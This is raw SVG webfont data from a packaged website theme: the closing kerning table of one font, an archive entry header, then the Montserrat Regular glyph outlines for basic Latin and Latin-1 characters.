<hkern u1="&#x2019;" u2="a" k="27" />
<hkern u1="&#x2019;" u2="O" k="18" />
<hkern u1="&#x2019;" u2="J" k="27" />
<hkern u1="&#x2019;" u2="A" k="115" />
<hkern u1="&#x2019;" u2="&#x40;" k="49" />
<hkern u1="&#x2019;" u2="&#x3a;" k="47" />
<hkern u1="&#x2019;" u2="&#x2f;" k="164" />
<hkern u1="&#x2019;" u2="&#x2e;" k="287" />
<hkern u1="&#x2019;" u2="&#x26;" k="41" />
<hkern u1="&#x2039;" u2="Y" k="51" />
<hkern u1="&#x2039;" u2="V" k="31" />
<hkern u1="&#x2039;" u2="T" k="98" />
<hkern u1="&#x203a;" u2="z" k="20" />
<hkern u1="&#x203a;" u2="y" k="35" />
<hkern u1="&#x203a;" u2="x" k="43" />
<hkern u1="&#x203a;" u2="w" k="27" />
<hkern u1="&#x203a;" u2="v" k="35" />
<hkern u1="&#x203a;" u2="t" k="23" />
<hkern u1="&#x203a;" u2="f" k="20" />
<hkern u1="&#x203a;" u2="Z" k="20" />
<hkern u1="&#x203a;" u2="Y" k="94" />
<hkern u1="&#x203a;" u2="X" k="35" />
<hkern u1="&#x203a;" u2="W" k="55" />
<hkern u1="&#x203a;" u2="V" k="70" />
<hkern u1="&#x203a;" u2="T" k="115" />
<hkern u1="&#x203a;" u2="J" k="23" />
<hkern u1="&#x203a;" u2="&#x27;" k="35" />
<hkern u1="&#x2122;" u2="&#xef;" k="-18" />
<hkern u1="&#x2122;" u2="&#xee;" k="-51" />
<hkern u1="&#x2122;" u2="&#xec;" k="-20" />
<hkern u1="&#x2122;" u2="&#xc6;" k="55" />
<hkern u1="&#x2122;" u2="J" k="29" />
<hkern u1="&#x2122;" u2="A" k="49" />
</font>
</defs></svg> PK!����BSBS@bluetheme/assets/fonts/Montserrat/montserrat-regular-webfont.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata></metadata>
<defs>
<font id="montserratregular" horiz-adv-x="561" >
<font-face units-per-em="2048" ascent="1638" descent="-410" />
<missing-glyph horiz-adv-x="500" />
<glyph horiz-adv-x="0" />
<glyph horiz-adv-x="682" />
<glyph horiz-adv-x="0" />
<glyph horiz-adv-x="0" />
<glyph unicode="&#xd;" horiz-adv-x="681" />
<glyph unicode=" " />
<glyph unicode="!" horiz-adv-x="604" d="M152 136.5q0 62.5 45 107.5t107.5 45t107.5 -45t45 -107.5t-45 -107.5t-107.5 -45t-107.5 45t-45 107.5zM160 1202v264h286v-264l-61 -739h-164z" />
<glyph unicode="&#x22;" horiz-adv-x="765" d="M158 928v504h159v-504h-159zM449 928v504h159v-504h-159z" />
<glyph unicode="#" horiz-adv-x="1505" d="M88 328l45 225h205l59 340h-233l45 225h227l60 348h227l-59 -348h301l59 348h229l-63 -348h229l-45 -225h-221l-59 -340h252l-46 -225h-243l-58 -328h-227l57 328h-301l-57 -328h-229l57 328h-211zM565 553h301l62 340h-301z" />
<glyph unicode="$" horiz-adv-x="1267" d="M76 225l149 178q172 -150 355 -178v398q-231 55 -339 145t-108 267t124 290t323 123v102h131v-104q225 -16 426 -154l-133 -188q-135 96 -293 119v-385h6q236 -55 346.5 -149.5t110.5 -273.5t-127 -292t-336 -123v-147h-131v149q-281 29 -504 223zM383 1059.5 q0 -68.5 41 -108.5t156 -77v355q-93 -8 -145 -54.5t-52 -115zM711 219q98 10 155.5 57.5t57.5 119t-45 113.5t-168 79v-369z" />
<glyph unicode="%" horiz-adv-x="1609" d="M90 1139q0 135 89 231t221 96t220.5 -95t88.5 -230t-89.5 -231.5t-221.5 -96.5t-220 95.5t-88 230.5zM141 0l1049 1432h264l-1048 -1432h-265zM281 1136.5q0 -61.5 34.5 -103.5t85 -42t83 42t32.5 103.5t-35 103.5t-85 42t-82.5 -42t-32.5 -103.5zM903 309 q0 135 89 231.5t221.5 96.5t220.5 -95.5t88 -230.5t-89.5 -231t-221.5 -96t-220 95t-88 230zM1098 303.5q0 -61.5 34.5 -103.5t85 -42t83 42t32.5 103.5t-34.5 103.5t-85 42t-83 -42t-32.5 -103.5z" />
<glyph unicode="&#x26;" horiz-adv-x="1421" d="M100 401q0 231 336 412q-84 96 -117.5 157.5t-33.5 155.5q0 164 120.5 252t284.5 88t278.5 -84t114.5 -235q0 -203 -327 -383q164 -201 266 -307q63 94 98 219l168 -119q-53 -141 -121 -248q82 -84 209 -203l-153 -143l-189 187q-180 -166 -450 -166q-201 0 -342.5 111.5 t-141.5 305.5zM328 391q0 -92 77.5 -150.5t206.5 -58.5t275 119q-207 217 -328 365q-231 -125 -231 -275zM512 1140.5q0 -57.5 27.5 -103.5t95.5 -128q231 115 231 213q0 82 -54 122t-122.5 40t-123 -43t-54.5 -100.5z" />
<glyph unicode="'" horiz-adv-x="475" d="M158 928v504h159v-504h-159z" />
<glyph unicode="(" horiz-adv-x="679" d="M102 639q0 256 83 514t184 397h243q-119 -166 -200.5 -421t-81.5 -490.5t82 -490t200 -420.5h-243q-100 139 -183.5 397t-83.5 514z" />
<glyph unicode=")" horiz-adv-x="679" d="M68 -272q119 166 200.5 420.5t81.5 490t-82 490.5t-200 421h243q100 -139 183.5 -397t83.5 -514t-83 -514t-184 -397h-243z" />
<glyph unicode="*" horiz-adv-x="884" d="M125 1001l209 105l-209 102l70 121l192 -129l-14 232h139l-14 -232l192 127l70 -119l-211 -102l211 -105l-70 -120l-194 131l16 -234h-139l16 236l-194 -131z" />
<glyph unicode="+" horiz-adv-x="1163" d="M98 696v193h391v385h185v-385h391v-193h-391v-389h-185v389h-391z" />
<glyph unicode="," horiz-adv-x="575" d="M135 133q0 66 45 110t106.5 44t107.5 -44t46 -105.5t-55 -149.5l-123 -203h-119l76 213q-84 39 -84 135z" />
<glyph unicode="-" horiz-adv-x="974" d="M147 504v215h680v-215h-680z" />
<glyph unicode="." horiz-adv-x="573" d="M135 137.5q0 63.5 44 107.5t107.5 44t108.5 -44t45 -107.5t-45 -108.5t-108.5 -45t-107.5 45t-44 108.5z" />
<glyph unicode="/" horiz-adv-x="1202" d="M57 -240l887 1901h205l-887 -1901h-205z" />
<glyph unicode="0" horiz-adv-x="1409" d="M121 725q0 338 145.5 539.5t438 201.5t438 -201.5t145.5 -539.5t-145.5 -539.5t-438 -201.5t-438 201.5t-145.5 539.5zM354 725q0 -240 85 -387.5t265.5 -147.5t263.5 146.5t83 388.5t-83 388.5t-263.5 146.5t-265.5 -147.5t-85 -387.5z" />
<glyph unicode="1" horiz-adv-x="780" d="M59 1217v215h521v-1432h-230v1217h-291z" />
<glyph unicode="2" horiz-adv-x="1206" d="M102 1182q94 141 208 212.5t293 71.5t314.5 -113.5t135.5 -310.5q0 -111 -57.5 -211t-211.5 -258l-335 -342h649v-231h-979v205l434 436q145 147 206.5 231t61.5 170t-65.5 146.5t-165.5 60.5q-176 0 -293 -180z" />
<glyph unicode="3" horiz-adv-x="1183" d="M80 131l102 195q176 -123 369 -123q125 0 206 58t81 168t-90.5 175.5t-249.5 65.5q-80 0 -154 -23v184l332 386h-518v215h837v-189l-346 -387q197 -6 307.5 -124t110.5 -281q0 -219 -148.5 -344t-382 -125t-456.5 149z" />
<glyph unicode="4" horiz-adv-x="1171" d="M76 360v213l526 859h264l-518 -852h342v262h230v-262h172v-220h-172v-360h-230v360h-614z" />
<glyph unicode="5" horiz-adv-x="1185" d="M102 176l129 176q16 -16 44 -38.5t114 -60.5t188.5 -38t186.5 61.5t84 179t-89 182t-225.5 64.5t-259.5 -67l-102 110v689h823v-220h-604v-352q90 49 205 49q201 0 346 -120.5t145 -327.5t-151.5 -343t-372.5 -136q-289 0 -461 192z" />
<glyph unicode="6" horiz-adv-x="1269" d="M123 688q0 221 47 368.5t129 233.5q160 168 392.5 168t420.5 -145l-121 -178q-47 41 -126 73.5t-140 32.5q-190 0 -280.5 -129t-92.5 -348q51 57 147.5 107.5t213.5 50.5q193 0 322.5 -128t129.5 -340t-140 -341t-353 -129q-344 0 -475 307q-74 176 -74 397zM391 461.5 q0 -109.5 80 -188t201 -78.5t200.5 70.5t79.5 180t-73.5 186.5t-197.5 77t-207 -69t-83 -178.5z" />
<glyph unicode="7" horiz-adv-x="1159" d="M94 1020v412h1008v-215l-606 -1217h-267l592 1212h-508v-192h-219z" />
<glyph unicode="8" horiz-adv-x="1302" d="M117 418q0 238 207 368q-154 127 -154 292t137 273.5t344 108.5t344.5 -108.5t137.5 -273.5t-154 -292q207 -131 207 -368q0 -184 -147.5 -309t-387 -125t-387 124.5t-147.5 309.5zM356 426q0 -113 94.5 -173t201 -60t200.5 60t94 173t-90 174.5t-204.5 61.5t-205 -61.5 t-90.5 -174.5zM393 1058q0 -91 77 -153.5t181.5 -62.5t181 62.5t76.5 153.5t-76.5 152.5t-181 61.5t-181.5 -61.5t-77 -152.5z" />
<glyph unicode="9" horiz-adv-x="1267" d="M104 988q0 212 140.5 341t353.5 129q344 0 475 -307q74 -176 74 -397.5t-47 -368.5t-129 -233q-160 -168 -392.5 -168t-420.5 145l121 178q47 -41 126 -73.5t140 -32.5q190 0 280 129t93 348q-51 -57 -147.5 -107.5t-213.5 -50.5q-193 0 -323 128t-130 340zM324 995.5 q0 -110.5 70.5 -186.5t194.5 -76t207 68.5t83 178.5t-80 188.5t-200 78.5t-197.5 -70.5t-77.5 -181z" />
<glyph unicode=":" horiz-adv-x="600" d="M147 137.5q0 63.5 44.5 107.5t107.5 44t108.5 -44t45.5 -107.5t-45.5 -108.5t-108.5 -45t-107.5 45t-44.5 108.5zM147 638.5q0 63.5 44.5 108t107.5 44.5t108.5 -44.5t45.5 -108t-45.5 -108.5t-108.5 -45t-107.5 45t-44.5 108.5z" />
<glyph unicode=";" horiz-adv-x="606" d="M150 135q0 66 45 110t107.5 44t108.5 -44t46 -103.5t-56 -153.5l-125 -203h-118l75 213q-83 43 -83 137zM150 638.5q0 63.5 44 108t107.5 44.5t108.5 -44.5t45 -108t-45 -108.5t-108.5 -45t-107.5 45t-44 108.5z" />
<glyph unicode="&#x3c;" horiz-adv-x="1212" d="M92 684v258l965 447v-234l-721 -326v-22l721 -334v-233z" />
<glyph unicode="=" horiz-adv-x="1277" d="M123 504v192h1032v-192h-1032zM123 889v192h1032v-192h-1032z" />
<glyph unicode="&#x3e;" horiz-adv-x="1212" d="M156 240v233l721 334v22l-721 326v234l964 -447v-258z" />
<glyph unicode="?" horiz-adv-x="1040" d="M74 1073q20 182 142 285.5t304 103.5t297 -99t115 -278q0 -123 -68 -204q-39 -49 -59.5 -69.5t-54 -52.5t-57 -55.5t-38.5 -39.5q-37 -45 -37 -127v-93h-231v125q0 82 19.5 122t85.5 106l149 149q47 51 47 127t-49 126t-127 50t-130 -48t-60 -128h-248zM348 140.5 q0 62.5 46 107.5t110.5 45t112 -44t47.5 -106.5t-46.5 -107.5t-111 -45t-111.5 44t-47 106.5z" />
<glyph unicode="@" horiz-adv-x="1851" d="M104 545q0 344 244 588.5t589 244.5t581.5 -244.5t236.5 -596.5q0 -221 -84 -357.5t-223 -136.5q-100 0 -159.5 68.5t-63.5 195.5q-115 -264 -367 -264q-176 0 -310 141.5t-134 358.5t127 364.5t336 147.5q94 0 178 -49.5t121 -116.5v137h196v-715q0 -143 113 -143 q63 0 115.5 93t52.5 245q0 328 -198 555t-510 227t-531 -219t-219 -524t206.5 -509t511.5 -204q246 0 377 123l45 -76q-72 -61 -190.5 -99t-231.5 -38q-344 0 -576.5 229.5t-232.5 573.5zM621 552q0 -128 74.5 -223.5t203.5 -95.5t204 93.5t75 225.5t-78 218t-203 86 t-200.5 -88t-75.5 -216z" />
<glyph unicode="A" horiz-adv-x="1519" d="M0 0l631 1432h258l631 -1432h-258l-144 326h-717l-143 -326h-258zM500 549h520l-260 590z" />
<glyph unicode="B" horiz-adv-x="1445" d="M199 0v1432h557q145 0 250.5 -35t156.5 -94q98 -111 99 -250q0 -168 -107 -250q-39 -29 -53.5 -36t-50.5 -24q133 -29 211.5 -120t78.5 -226q0 -150 -102 -264q-121 -133 -414 -133h-626zM440 223h379q133 0 204 42t71 159q0 190 -306 190h-348v-391zM440 838h308 q262 0 262 178q0 102 -63.5 147t-196.5 45h-310v-370z" />
<glyph unicode="C" horiz-adv-x="1507" d="M106 720.5q0 319.5 218.5 532.5t551 213t556.5 -245l-154 -168q-102 98 -193.5 137t-214.5 39q-217 0 -364.5 -140.5t-147.5 -358.5t146.5 -364.5t347.5 -146.5q125 0 215 42t188 134l156 -159q-227 -252 -551.5 -252t-539 208.5t-214.5 528z" />
<glyph unicode="D" horiz-adv-x="1601" d="M199 0v1432h491q385 0 592 -187.5t207 -521.5t-201 -528.5t-614 -194.5h-475zM440 227h269q260 0 398 124t138 366q0 491 -561 491h-2h-242v-981z" />
<glyph unicode="E" horiz-adv-x="1339" d="M199 0v1432h1005v-228h-764v-379h686v-215h-686v-383h789v-227h-1030z" />
<glyph unicode="F" horiz-adv-x="1236" d="M199 0v1432h954l-2 -226h-711v-393h635v-223h-635v-590h-241z" />
<glyph unicode="G" horiz-adv-x="1550" d="M106 720.5q0 319.5 218.5 532.5t527.5 213t514 -180l-129 -184q-84 72 -169 99.5t-198 27.5q-217 0 -364.5 -140.5t-147.5 -368.5t143.5 -366.5t347.5 -138.5t341 88v393h242v-489q-203 -223 -580 -223q-317 0 -531.5 208.5t-214.5 528z" />
<glyph unicode="H" horiz-adv-x="1591" d="M199 0v1432h241v-621h711v621h242v-1432h-242v586h-711v-586h-241z" />
<glyph unicode="I" horiz-adv-x="638" d="M199 0v1432h241v-1432h-241z" />
<glyph unicode="J" horiz-adv-x="1128" d="M63 164l138 190q139 -133 272 -133q94 0 160.5 63.5t66.5 190.5v739h-454v218h696v-945q0 -250 -127 -374.5t-326 -124.5q-250 0 -426 176z" />
<glyph unicode="K" horiz-adv-x="1441" d="M199 0v1432h241v-699l656 699h307l-576 -627l584 -805h-287l-475 627l-209 -226v-401h-241z" />
<glyph unicode="L" horiz-adv-x="1159" d="M199 0v1432h241v-1203h654v-229h-895z" />
<glyph unicode="M" horiz-adv-x="2013" d="M199 0v1432h376l433 -900l432 900h375v-1432h-242v1118l-500 -993h-135l-498 993v-1118h-241z" />
<glyph unicode="N" horiz-adv-x="1712" d="M199 0v1432h241l832 -1070v1070h241v-1432h-262l-811 1044v-1044h-241z" />
<glyph unicode="O" horiz-adv-x="1720" d="M106 726q0 316 217.5 528t537 212t536.5 -212t217 -528t-217 -528t-536.5 -212t-537 212t-217.5 528zM354 726q0 -216 146.5 -367.5t359.5 -151.5t359.5 151.5t146.5 367.5t-146.5 367.5t-359.5 151.5t-359.5 -151.5t-146.5 -367.5z" />
<glyph unicode="P" horiz-adv-x="1400" d="M199 0v1432h491q326 0 475.5 -125t149.5 -385t-152.5 -381t-468.5 -121h-254v-420h-241zM440 639h281q201 0 273.5 77t72.5 225.5t-92 209.5t-289 61h-246v-573z" />
<glyph unicode="Q" horiz-adv-x="1720" d="M106 726q0 316 217.5 528t537 212t536.5 -212t217 -527q0 -240 -129 -425t-344 -267q70 -92 176 -92q78 0 152.5 41t113.5 106l137 -190q-178 -188 -407 -189q-131 0 -252 74t-170 203l-31 -2q-319 0 -536.5 212t-217.5 528zM354 726q0 -216 146.5 -367.5t359.5 -151.5 t359.5 151.5t146.5 367.5t-146.5 367.5t-359.5 151.5t-359.5 -151.5t-146.5 -367.5z" />
<glyph unicode="R" horiz-adv-x="1490" d="M199 0v1432h532q328 0 469 -110.5t141 -354.5q0 -354 -309 -447l375 -520h-307l-342 481h-318v-481h-241zM440 700h301q205 0 279 63.5t74 204t-76 192.5t-270 52h-308v-512z" />
<glyph unicode="S" horiz-adv-x="1290" d="M82 215l151 182q217 -188 451 -188q117 0 185.5 50t68.5 133t-64.5 129t-222 84t-239.5 70t-146 83q-127 96 -127 294.5t144.5 306t357.5 107.5q137 0 272.5 -45t233.5 -127l-129 -182q-63 57 -172 94t-214.5 37t-173 -43t-67.5 -130t67.5 -133t288 -99.5t332 -149.5 t111.5 -283.5t-141.5 -304t-370.5 -116.5q-336 0 -596 231z" />
<glyph unicode="T" horiz-adv-x="1236" d="M63 1210v222h1111v-222h-435v-1210h-241v1210h-435z" />
<glyph unicode="U" horiz-adv-x="1572" d="M180 629v803h242v-793q0 -197 98 -311.5t266 -114.5t266.5 114.5t98.5 311.5v793h242v-803q0 -309 -170 -476t-436.5 -167t-436.5 166.5t-170 476.5z" />
<glyph unicode="V" horiz-adv-x="1433" d="M6 1432h270l441 -1070l440 1070h270l-575 -1432h-270z" />
<glyph unicode="W" horiz-adv-x="2146" d="M25 1432h260l360 -1031l320 1031h217l319 -1031l361 1031h260l-500 -1432h-240l-301 981h-16l-301 -981h-240z" />
<glyph unicode="X" horiz-adv-x="1378" d="M31 0l491 735l-456 697h299l319 -484h10l320 484h299l-457 -697l492 -735h-301l-353 539h-10l-352 -539h-301z" />
<glyph unicode="Y" horiz-adv-x="1277" d="M-16 1432h264l391 -652l391 652h264l-532 -867v-565h-246v565z" />
<glyph unicode="Z" horiz-adv-x="1382" d="M96 0v186l834 1018v6h-807v222h1143v-189l-832 -1014v-6h844v-223h-1182z" />
<glyph unicode="[" horiz-adv-x="727" d="M180 -287v1837h463v-172h-283v-1493h283v-172h-463z" />
<glyph unicode="\" horiz-adv-x="1069" d="M57 1550h205l746 -1550h-205z" />
<glyph unicode="]" horiz-adv-x="727" d="M84 -115h283v1493h-283v172h463v-1837h-463v172z" />
<glyph unicode="^" horiz-adv-x="806" d="M45 1520l250 319h209l248 -319h-193l-158 170l-157 -170h-199z" />
<glyph unicode="_" horiz-adv-x="1478" d="M147 -166h1184v-117h-1184v117z" />
<glyph unicode="`" horiz-adv-x="1705" d="M647 1425l242 101l217 -297h-209z" />
<glyph unicode="a" horiz-adv-x="1202" d="M84 337q0 161 119 240.5t321 79.5h297v41q0 217 -241 217q-152 0 -316 -110l-102 143q199 158 450 158q193 0 315 -97.5t122 -306.5v-702h-209v145q-134 -161 -360 -161h-3q-170 0 -281.5 96t-111.5 257zM313 342q0 -80 61.5 -122t171 -42t191.5 62t82 166v92h-258 q-248 0 -248 -156z" />
<glyph unicode="b" horiz-adv-x="1376" d="M166 0v1520h229v-621q135 207 354.5 207t375 -151.5t155.5 -403.5t-154.5 -409.5t-360.5 -157.5t-370 180v-164h-229zM391 542.5q0 -155.5 94.5 -255t229.5 -99.5t235.5 98.5t100.5 255t-98.5 260t-235.5 103.5t-231.5 -103.5t-94.5 -259z" />
<glyph unicode="c" horiz-adv-x="1179" d="M94 543q0 250 171 406.5t417 156.5t416 -170l-135 -166q-141 123 -284.5 123t-249 -95.5t-105.5 -246t104 -254.5t257 -104t288 139l135 -148q-199 -200 -459 -200q-227 0 -391 154.5t-164 404.5z" />
<glyph unicode="d" horiz-adv-x="1376" d="M96 549q0 254 158 405.5t376 151.5t351 -184v598h229v-1520h-229v164q-127 -180 -371 -180q-207 0 -360.5 155.5t-153.5 409.5zM326 539.5q0 -156.5 100 -255t235.5 -98.5t229.5 99.5t94 255t-94 260t-231.5 104.5t-235.5 -104.5t-98 -261z" />
<glyph unicode="e" horiz-adv-x="1265" d="M96 546q0 257 164 408.5t386 151.5t378 -134t156 -370v-158h-854q8 -119 108.5 -191.5t229.5 -72.5q205 0 311 129l131 -143q-176 -182 -459 -182q-229 0 -390 152.5t-161 409.5zM326 625h624q0 137 -86 210.5t-212 73.5t-226 -76.5t-100 -207.5z" />
<glyph unicode="f" horiz-adv-x="790" d="M82 905v185h137v84q0 172 103.5 273t250 101t267.5 -108l-95 -162q-68 72 -141.5 72t-114 -46t-40.5 -124v-90h286v-185h-286v-905h-230v905h-137z" />
<glyph unicode="g" horiz-adv-x="1339" d="M98 577.5q0 225.5 139.5 377t355.5 151.5t351 -178v162h230v-951q0 -289 -157 -433t-402.5 -144t-444.5 153l109 174q159 -121 321 -121h2q162 1 257 85t95 268v139q-51 -96 -146 -153.5t-214 -57.5q-217 0 -356.5 151.5t-139.5 377zM324 587q0 -134 82.5 -231.5 t223 -97.5t227.5 94t87 234.5t-88 238t-227.5 97.5t-222 -100.5t-82.5 -234.5z" />
<glyph unicode="h" horiz-adv-x="1323" d="M166 0v1518h229v-627q49 100 148.5 157.5t214.5 57.5q184 0 297.5 -112.5t113.5 -325.5v-668h-229v598q0 301 -250 301q-119 0 -207 -78.5t-88 -230.5v-590h-229z" />
<glyph unicode="i" d="M137 1409q0 59 43 102t102.5 43t102.5 -43t43 -102t-43 -102t-102.5 -43t-102.5 43t-43 102zM166 0v1090h229v-1090h-229z" />
<glyph unicode="j" d="M-225 -326l106 172q69 -68 139 -68h2q70 1 107 46t37 125v1141h229v-1149q0 -172 -103.5 -273.5t-249.5 -101.5t-267 108zM133 1409q0 59 43 102t102.5 43t102.5 -43t43 -102t-43 -102t-102.5 -43t-102.5 43t-43 102z" />
<glyph unicode="k" horiz-adv-x="1189" d="M166 0v1520h229v-893l443 463h295l-414 -433l444 -657h-278l-324 477l-166 -168v-309h-229z" />
<glyph unicode="l" d="M166 0v1520h229v-1520h-229z" />
<glyph unicode="m" horiz-adv-x="2076" d="M166 0v1090h229v-199q49 100 148.5 157.5t214.5 57.5q258 0 350 -213q162 213 403 213q184 0 298 -112.5t114 -325.5v-668h-229v598q0 301 -250 301q-117 0 -204 -74.5t-91 -218.5v-606h-229v598q0 156 -55.5 228.5t-174.5 72.5t-207 -78.5t-88 -230.5v-590h-229z" />
<glyph unicode="n" horiz-adv-x="1323" d="M166 0v1090h229v-199q55 100 152.5 157.5t210.5 57.5q184 0 297.5 -112.5t113.5 -325.5v-668h-229v598q0 301 -250 301q-119 0 -207 -78.5t-88 -230.5v-590h-229z" />
<glyph unicode="o" horiz-adv-x="1335" d="M94 544.5q0 235.5 164 398.5t409.5 163t409.5 -163t164 -398.5t-164 -398t-409.5 -162.5t-409.5 162.5t-164 398zM324 544.5q0 -157.5 97 -257t246.5 -99.5t247 99.5t97.5 257t-97.5 257t-247 99.5t-246.5 -99.5t-97 -257z" />
<glyph unicode="p" horiz-adv-x="1376" d="M166 -397v1487h229v-191q135 207 354.5 207t375 -151.5t155.5 -403.5t-154.5 -409.5t-360.5 -157.5t-370 180v-561h-229zM391 542.5q0 -155.5 94.5 -255t229.5 -99.5t235.5 98.5t100.5 255t-98.5 260t-235.5 103.5t-231.5 -103.5t-94.5 -259z" />
<glyph unicode="q" horiz-adv-x="1376" d="M96 551q0 252 156 403.5t375 151.5t354 -207v191h229v-1487h-229v561q-164 -180 -369.5 -180t-360.5 157.5t-155 409.5zM326 541.5q0 -156.5 100 -255t235.5 -98.5t229.5 99.5t94 255t-94 259t-231.5 103.5t-235.5 -103.5t-98 -260z" />
<glyph unicode="r" horiz-adv-x="813" d="M166 0v1090h229v-220q55 102 150.5 168t202.5 68l2 -232h-13q-170 0 -256 -110.5t-86 -296.5v-467h-229z" />
<glyph unicode="s" horiz-adv-x="1036" d="M68 147l110 179q190 -143 369 -144q78 0 123 36t45 91q0 82 -217 148q-16 6 -25 8q-340 92 -340 307q0 152 118 243t306 91t356 -111l-86 -170q-133 88 -288 88q-82 0 -133.5 -29.5t-51.5 -88.5q0 -53 54 -78q37 -18 103.5 -34.5t117.5 -33t99 -37t103 -57.5 q111 -74 111 -229.5t-112.5 -248.5t-288.5 -93q-119 0 -247 43t-226 120z" />
<glyph unicode="t" horiz-adv-x="856" d="M82 905v185h137v342h230v-342h286v-185h-286v-553q0 -78 40.5 -124t114.5 -46t141 72l95 -162q-120 -109 -266 -109l-2 1q-146 0 -249.5 101t-103.5 273v547h-137z" />
<glyph unicode="u" horiz-adv-x="1323" d="M154 422v668h229v-598q0 -301 250 -302q119 0 207 79t88 231v590h229v-1090h-229v199q-55 -100 -152.5 -157.5t-210.5 -57.5q-184 0 -297.5 112.5t-113.5 325.5z" />
<glyph unicode="v" horiz-adv-x="1171" d="M16 1090h238l332 -824l332 824h237l-438 -1090h-262z" />
<glyph unicode="w" horiz-adv-x="1867" d="M37 1090h237l271 -824l270 824h238l270 -824l270 824h238l-377 -1090h-262l-258 745l-258 -745h-262z" />
<glyph unicode="x" horiz-adv-x="1142" d="M39 0l387 555l-367 535h281l233 -359l242 359h272l-380 -533l397 -557h-283l-260 362l-254 -362h-268z" />
<glyph unicode="y" horiz-adv-x="1175" d="M18 1090h246l326 -803l325 803h246l-528 -1295q-47 -106 -135.5 -167.5t-194.5 -61.5q-150 0 -270 108l104 187q72 -68 148.5 -68t125 55.5t48.5 120.5q0 29 -441 1121z" />
<glyph unicode="z" horiz-adv-x="1107" d="M90 0v223l596 666h-555v196h852v-206l-612 -680h645v-199h-926z" />
<glyph unicode="{" horiz-adv-x="688" d="M82 537v190h49q53 0 77.5 28.5t24.5 98.5v426q0 270 279 270h70v-190q-7 2 -17 2q-127 0 -127 -117v-444q0 -143 -135 -168q135 -23 135 -166v-481q0 -53 30 -74t114 -21v-190h-70q-279 0 -279 270v443q0 68 -24.5 95.5t-77.5 27.5h-49z" />
<glyph unicode="|" horiz-adv-x="526" d="M178 -313v1915h170v-1915h-170z" />
<glyph unicode="}" horiz-adv-x="688" d="M106 -109q84 0 114 20.5t30 74.5v481q0 143 135 166q-135 25 -135 168v444q0 63 -34 91t-66 28h-7l-37 -4v190h70q279 0 279 -270v-426q0 -70 24.5 -98.5t77.5 -28.5h49v-190h-49q-53 0 -77.5 -28t-24.5 -95v-443q0 -270 -279 -270h-70v190z" />
<glyph unicode="~" horiz-adv-x="1157" d="M102 676q12 143 86 216t191 73q92 0 248 -84q102 -53 151 -54q82 0 96 134l181 -52q-12 -143 -87 -217t-192 -74q-88 0 -248 87q-102 53 -151 53q-82 0 -96 -133z" />
<glyph unicode="&#xa0;" />
<glyph unicode="&#xa1;" horiz-adv-x="602" d="M150 1307.5q0 62.5 45 107.5t107.5 45t107.5 -45t45 -107.5t-45 -107.5t-107.5 -45t-107.5 45t-45 107.5zM158 -16v258l61 739h164l59 -739v-258h-284z" />
<glyph unicode="&#xa2;" horiz-adv-x="1200" d="M100 540.5q0 229.5 141.5 380t350.5 179.5v243h131v-239q231 -18 381 -168l-135 -166q-125 106 -246 119v-694q135 14 256 137l135 -148q-170 -174 -391 -196v-238h-131v238q-207 23 -349.5 173t-142.5 379.5zM330 550q0 -126 72.5 -220t189.5 -125v676 q-113 -27 -187.5 -116t-74.5 -215z" />
<glyph unicode="&#xa3;" horiz-adv-x="1261" d="M121 588v200h176v256q0 248 125 362t328 114q268 0 403 -230l-170 -135q-84 139 -217 139q-98 0 -162.5 -56t-64.5 -181v-269h342v-200h-342v-373h610v-215h-1020v215h168v373h-176z" />
<glyph unicode="&#xa4;" horiz-adv-x="1546" d="M123 127l184 184q-109 147 -108.5 336t104.5 332l-180 180l145 144l185 -183q139 90 317 90t324 -92l184 185l145 -144l-182 -182q104 -147 104.5 -330.5t-110.5 -333.5l188 -186l-143 -143l-195 190q-137 -86 -313 -86t-313 86l-193 -190zM440 649.5q0 -151.5 94.5 -248 t237.5 -96.5t237.5 96.5t94.5 248t-94.5 246.5t-237.5 95t-237.5 -95t-94.5 -246.5z" />
<glyph unicode="&#xa5;" horiz-adv-x="1464" d="M72 1432h264l387 -658h14l402 658h260l-426 -695h268v-180h-379l-6 -12v-111h385v-180h-387v-254h-256v254h-389v180h389v111l-8 12h-381v180h274z" />
<glyph unicode="&#xa6;" horiz-adv-x="565" d="M186 -49v670h193v-670h-193zM186 881v669h193v-669h-193z" />
<glyph unicode="&#xa7;" horiz-adv-x="1249" d="M104 641q0 98 68 180t188 105q-166 66 -165.5 229.5t120 264t306.5 100.5q133 0 233 -33t205 -109l-117 -164q-152 113 -326 113q-94 0 -148 -43t-54 -111.5t59 -109.5t269 -91t314.5 -130t104.5 -230q0 -102 -65.5 -185t-204.5 -116q94 -35 141 -106.5t47 -147.5 q0 -141 -119.5 -240.5t-320.5 -99.5q-293 0 -518 201l131 156q201 -166 393 -166q219 0 219 139q0 66 -68.5 109t-268 101t-311.5 141t-112 243zM297 649q0 -96 120 -159.5t306 -63.5q106 0 177 45t71 111.5t-47 109.5t-121 66q-147 43 -261 43t-179.5 -40t-65.5 -112z" />
<glyph unicode="&#xa8;" horiz-adv-x="1249" d="M340 1357q0 52 37 89t89 37t89 -36t37 -88t-38 -90t-90 -38t-88 37t-36 89zM719 1357q0 52 37 89t89 37t89 -36t37 -88t-37 -90t-89 -38t-89 37t-37 89z" />
<glyph unicode="&#xa9;" horiz-adv-x="1703" d="M111 715q0 305 217 524t524 219t524 -217t217 -522t-217 -524.5t-526 -219.5t-524 217.5t-215 522.5zM207 713.5q0 -269.5 186.5 -460t458.5 -190.5t461.5 193t189.5 461t-187.5 458.5t-459.5 190.5t-460.5 -191.5t-188.5 -461zM461 719q0 182 123 294.5t305 112.5 t299 -122l-98 -121q-106 90 -209 90t-179.5 -68.5t-76.5 -178.5t76.5 -185.5t188 -75.5t206.5 100l98 -106q-139 -145 -317.5 -145.5t-297 111.5t-118.5 294z" />
<glyph unicode="&#xaa;" horiz-adv-x="720" d="M121 1110q0 150 203 150h139v18q0 100 -113 100q-68 0 -145 -51l-47 68q90 72 194 71q215 0 215 -186v-326h-96v68q-63 -76 -154.5 -76t-143.5 45t-52 119zM227 1112q0 -37 29 -56.5t79 -19.5t88 30t38 77v43h-119q-115 0 -115 -74z" />
<glyph unicode="&#xab;" horiz-adv-x="1120" d="M115 492l243 360h222l-236 -360l236 -361h-222zM520 492l244 360h221l-235 -360l235 -361h-221z" />
<glyph unicode="&#xac;" horiz-adv-x="1695" d="M137 731v180h1370v-731h-168v551h-1202z" />
